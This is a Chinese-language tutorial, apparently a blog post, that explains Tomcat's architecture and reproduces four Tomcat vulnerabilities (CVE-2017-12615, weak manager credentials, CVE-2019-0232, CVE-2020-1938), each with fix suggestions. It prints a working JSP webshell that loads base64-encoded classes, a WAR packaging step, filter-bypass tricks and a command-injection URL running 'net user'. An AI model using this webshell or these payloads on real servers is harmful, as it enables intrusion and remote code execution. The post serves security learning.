中间件常见漏洞之Tomcat

简介: 中间件常见漏洞之Tomcat

0x01 Tomcat简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

诀窍是,当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。另外,Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。目前Tomcat最新版本为9.0。Tomcat简单的说就是一个运行JAVA的网络服务器,底层是Socket的一个程序,它也是JSP和Serlvet的一个容器。为什么我们需要用到Tomcat如果你学过html,css,你会知道你写的页面只能自己访问,别人不能远程访问你写的页面,Tomcat就是提供能够让别人访问自己写的页面的一个程序。Tomcat主要组件服务器Server,服务Service,连接器Connector、容器Container。连接器Connector和容器Container是Tomcat的核心。一个Container容器和一个或多个Connector组合在一起,加上其他一些支持的组件共同组成一个Service服务,有了Service服务便可以对外提供能力了,但是Service服务的生存需要一个环境,这个环境便是Server,Server组件为Service服务的正常使用提供了生存环境,Server组件可以同时管理一个或多个Service服务。TomCat结构示意图

两大组件详细介绍1、Connector一个Connecter将在某个指定的端口上侦听客户请求,接收浏览器的发过来的 tcp 连接请求,创建一个 Request 和 Response 对象分别用于和请求端交换数据,然后会产生一个线程来处理这个请求并把产生的 Request 和 Response 对象传给处理Engine(Container中的一部分),从Engine处获得响应并返回客户。2、ContainerContainer是容器的父接口,该容器的设计用的是典型的责任链的设计模式,它由四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。Tomcat Server处理一个HTTP请求的过程1、用户点击网页内容,请求被发送到本机端口8080,被在那里监听的Coyote HTTP/1.1 Connector获得。2、Connector把该请求交给它所在的Service的Engine来处理,并等待Engine的回应。3、Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host。4、Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有的Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为“ ”的Context去处理)。5、path=“/test”的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类。6、构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost().执行业务逻辑、数据存储等程序。7、Context把执行完之后的HttpServletResponse对象返回给Host。8、Host把HttpServletResponse对象返回给Engine。9、Engine把HttpServletResponse对象返回Connector。10、Connector把HttpServletResponse对象返回给客户Browser。

目录及结构作用

tomcat目录结构的截图(版本号:9.0.60)

|---bin:存放启动和关闭tomcat脚本|---conf:存放不同的配置文件(server.xml和web.xml);|---doc:存放Tomcat文档;|---lib/japser/common:存放Tomcat运行需要的库文件(JARS);|---logs:存放Tomcat执行时的LOG文件;|---src:存放Tomcat的源代码;|---webapps:Tomcat的主要Web发布目录(包括应用程序示例);|---work:存放jsp编译后产生的class文件;Tomcat配置文件:我们打开con文件夹可以看到Tomcat的配置文件:server.xml: Tomcat的主配置文件,包含Service, Connector, Engine, Realm, Valve, Hosts主组件的相关配置信息;web.xml:遵循Servlet规范标准的配置文件,用于配置servlet,并为所有的Web应用程序提供包括MIME映射等默认配置信息;tomcat-user.xml:Realm认证时用到的相关角色、用户和密码等信息;Tomcat自带的manager默认情况下会用到此文件;在Tomcat中添加/删除用户,为用户 指定角色等将通过编辑此文件实现;catalina.policy:Java相关的安全策略配置文件,在系统资源级别上提供访问控制的能力;logging.properties: Tomcat6通过自己内部实现的JAVA日志记录器来记录操作相关的日志,此文件即为日志记录器相关的配置信息,可以用来定义日志记录的组 件级别以及日志文件的存在位置等;context.xml:所有host的默认配置信息;

tomcat服务器与servlet版本的关系

servlet:sun公司提供的用于开发动态web资源的技术。jsp:(java server page),java提供的一门开发web网页的技术。tomcat软件:java开发的。java软件运行的时候需要jdk。

向下兼容。tomcat7也支持servlet3.0/jsp2.2规范,可以支持javaee6.0当前企业常用的版本 6.* / 7./8.

0x02 Tomcat漏洞复现

Tomcat 任意文件写入(CVE-2017-12615)影响范围:


Tomcat 7.0.0-7.0.81

漏洞本质:Tomcat 配置文件 /conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。如果配置了默认 servlet,则在 9.0.1(Beta),8.5.23,8.0.47 和 7.0.82 之前的所有 Tomcat 版本都包含所有操作系统上的潜在危险的 CVE-2017-12615 漏洞。

可以看到 Tomcat 配置文件 /conf/web.xml 配置了可写(readonly=false)抓个包,修改一下数据包改成 put,写入一个 jsp 文件可以看到成功写入任意文件.

既然可以写入任意文件,那也可以写入后门来 getshelljsp 木马:


<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }     public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>

如存在过滤,绕过方式:文件后缀加 / ( 应用系统中 / 在文件名中是非法的,会被自动去除)文件后缀加::$DATA文件后缀加 & 20 (windows 不允许空格结尾修复建议:将 readonly=true,默认为 true。

Tomcat + 弱口令 && 后台 getshell 漏洞

环境:


Apache Tomcat/7.0.94

在 conf/tomcat-users.xml 文件中配置用户的权限和一个弱口令 tomcat/tomcat:Tomcat 7 + 的权限有:manager(后台管理)manager-gui 拥有 html 页面权限manager-status 拥有查看 status 的权限manager-script 拥有 text 接口权限(包括 status 权限)manager-jmx 拥有 jmx 权限(包括 status 权限)host-manager(虚拟主机管理)admin-gui 拥有 html 页面权限admin-script 拥有 text 接口权限


"manager-gui"/>"manager-script"/>"manager-jmx"/>"manager-status"/>"admin-gui"/>"admin-script"/>"tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

正常安装的情况下,tomcat7.0.94 中默认没有任何用户,且 manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。访问http://127.0.0.1:8080/manager/html , 输入弱口令 tomcat/tomcat 进入后台(弱口令可以进行爆破)

写一个 jsp 的木马(见上),然后打包成 war 包,上传的 war 会被自动解压部署jar -cvf shell.war shell.jsp注:war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。

可以看到已经上传上去了,接着使用蚁剑连接后门 127.0.0.1:8080/shell/shell.jsp

上传的位置在 webapps 里


修复建议:

取消 manager/html 功能。若要使用,manager 页面应只允许本地 IP 访问

Tomcat 远程代码执行(CVE-2019-0232)

影响范围:

    9.0.0.M1 ~ 9.0.17
    8.5.0 ~ 8.5.39
    7.0.0 ~ 7.0.93

    漏洞本质:

    CVE-2019-0232 漏洞是由于 Tomcat CGI 将命令行参数传递给 Windows 程序的方式存在错误,使得 CHIServler 被命令注入影响。

    该漏洞只影响 Windows 平台,要求启用了 CGIServlet 和 enableCmdLineArguments 参数。但是 CGIServlet 和 enableCmdLineArguments 参数默认情况下都不启用。

    376 行和 419 行取消注释并添加参数


    debug0executable

    在 content.xml 19 行处添加 privileged 属性为 true

    在 Tomcat\webapps\ROOT\WEB-INF 新建 cgi 目录,并创建 xxx.bat 文件,名字内容任意。bin 目录下 startup.bat 开启 tomcat 服务访问 http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user, 执行 net user 命令(net 命令的路径要写全,直接写 net user,Tomcat 控制台会提示 net 不是内部命令,也不是可运行的程序,另 必须使用 + 号连接,使用空格,%2B 都会执行失败,控制台报错。)

    修复建议:

    这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。

    Tomcat 文件包含漏洞(CVE-2020-1938)影响范围:

      7 ~ 7.0.09
      98 ~ 8.5.50
      9 ~ 9.0.30

      漏洞本质:由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

      nmap 扫到还有一个 AJP 端口 8009 正在监听使用工具读取 web.xml 文件YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp 协议文件读取漏洞工具地址:


      https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

      修复建议:

      将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭 AJPConnector,或将其监听地址改为仅监听本机 localhost

      相关实践学习
      【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
      【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
      目录
      相关文章
      |
      安全 Linux Shell
      【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
      【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
      3823 0
      【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
      |
      4月前
      |
      安全 JavaScript 前端开发
      Burp Suite Professional 2026.4 发布 - 领先的 Web 渗透测试软件
      Burp Suite Professional 2026.4 发布 - 领先的 Web 渗透测试软件
      472 1
      Burp Suite Professional 2026.4 发布 - 领先的 Web 渗透测试软件
      |
      Oracle 关系型数据库 MySQL
      DBEAVER安装说明
      DBEAVER安装说明
      1248 0
      DBEAVER安装说明
      |
      安全 API
      【布道API】权限错误码选择:401、403 或 404
      选择对 API 请求的正确响应有助于保护应用程序,并能够提高项目开发效率。虽然表面上看起来可能并非如此,但每一条不必要的信息都使攻击者更容易了解如何获得访问权限。另一方面,每一个缺失的信息都会让 API 的使用者更难理解对 HTTP 请求的响应。
      1449 0
      【布道API】权限错误码选择:401、403 或 404
      |
      Prometheus 监控 Cloud Native
      docker安装prometheus+Granfan并监控容器
      【9月更文挑战第14天】本文介绍了在Docker中安装Prometheus与Grafana并监控容器的步骤,包括创建配置文件、运行Prometheus与Grafana容器,以及在Grafana中配置数据源和创建监控仪表盘,展示了如何通过Prometheus抓取数据并利用Grafana展示容器的CPU使用率等关键指标。
      1129 1
      |
      存储 Web App开发 JavaScript
      xss攻击、绕过最全总结
      简述 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
      2649 0
      |
      存储 NoSQL 关系型数据库
      面试题14: 关系型数据库和非关系型数据库的区别
      面试题14: 关系型数据库和非关系型数据库的区别
      1164 1
      |
      11月前
      |
      开发框架 安全 Java
      Web渗透思路及src漏洞挖掘思路
      本内容系统讲解Web渗透测试思路,涵盖系统、网站、App及服务层面的渗透技术,包括漏洞探测工具使用、CMS系统分析、开发框架识别等,并介绍了SRC漏洞挖掘及CNVD证书提交流程,助力网络安全学习与实践。
      1454 0
      Web渗透思路及src漏洞挖掘思路
      |
      容器 Cloud Native 安全
      CTF本地靶场搭建——基于阿里云ACR实现动态flag题型的创建
      本文介绍了如何利用阿里云ACR服务创建动态flag题型。阿里云容器镜像服务ACR是一个支持 OCI 标准的云原生制品托管和分发平台,提供全球化加速、大规模分发等功能,简化云原生应用交付。由于dockerhub访问不便,文章建议使用ACR作为替代。步骤包括在虚拟机内创建【GZCTF】->【WEB】->【src】文件夹,编写index.php和flag.sh文件,然后创建Dockerfile。接着,用户需在阿里云注册并使用ACR,构建、推送镜像,并在靶场部署动态容器。通过ACR,可以实现不同账号看到不同flag的动态更新,完成了动态flag题型的创建。
      |
      JSON 算法 安全
      JWT渗透与攻防
      JSON Web Token(JWT)作为一种广泛使用的认证机制,因其简单、有效和灵活性而受到开发者的青睐。然而,随着JWT使用的普及,其安全性问题也逐渐显现。本文将探讨JWT的渗透测试方法,分析常见的安全漏洞,并提供相应的防护措施。
      1330 3
      JWT渗透与攻防